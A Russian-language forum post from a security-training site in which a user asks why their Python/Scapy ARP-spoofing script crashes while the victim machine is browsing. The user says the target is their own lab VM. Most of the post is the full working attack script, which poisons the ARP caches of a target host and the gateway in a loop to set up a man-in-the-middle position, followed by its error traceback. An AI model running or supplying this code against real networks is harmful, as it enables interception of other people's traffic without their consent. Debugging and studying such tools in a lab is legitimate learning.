• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Проблема АРП-спуфер возвращает ошибку

D

dododogogogo

Здравствуйте форумчане! В процессе написания АРП-спуфера возникла проблема. Скрипт начинает выполнение нормально
30776

Но когда машина жертвы начинает серфить интернет, то скрипт завершается с ошибкой. Атаку провожу на дистре BackBox, атакую виртуальную машину с Kali. Виртуальная машина подключена через мост и находится в локальной сети как отдельный хост.
Код ошибки:
Код:
# python arp_spoof.py
WARNING: No route found for IPv6 destination :: (no default route?)
[+] Packet sent: 92
Traceback (most recent call last):
  File "arp_spoof.py", line 34, in <module>
    spoof(gateway_ip, target_ip)
  File "arp_spoof.py", line 17, in spoof
    target_mac = get_mac(target_ip)
  File "arp_spoof.py", line 13, in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python2.7/dist-packages/scapy/plist.py", line 86, in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range
Код скрипта:
Python:
#!/usr/bin/env python

import scapy.all as scapy
import time
import sys

def get_mac(ip):
    arp_request = scapy.ARP(pdst=ip)
    broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_request_broadcast = broadcast/arp_request
    answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip, spoof_ip):
    target_mac = get_mac(target_ip)
    packet = scapy.ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=spoof_ip)
    scapy.send(packet, verbose=False)

def restore(destination_ip, source_ip):
    destination_mac = get_mac(destination_ip)
    source_mac = get_mac(source_ip)
    packet = scapy.ARP(op=2, pdst=destination_ip, hwdst=destination_mac, psrc=source_ip, hwsrc=source_mac)
    scapy.send(packet, count=4, vebose=False)

target_ip = "192.168.1.59"
gateway_ip = "192.168.1.1"

try:
    sent_packets_count = 0
    while True:
        spoof(target_ip, gateway_ip)
        spoof(gateway_ip, target_ip)
        sent_packets_count = sent_packets_count + 2
        print("\r[+] Packet sent: " + str(sent_packets_count)),
        sys.stdout.flush()
        time.sleep(2)
except KeyboardInterrupt:
    print("\n[-] Detected Ctrl + C ... Resetting ARP tables ... Please wait.\n")
    restore(target_ip, gateway_ip)
    restore(gateway_ip, target_ip)
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!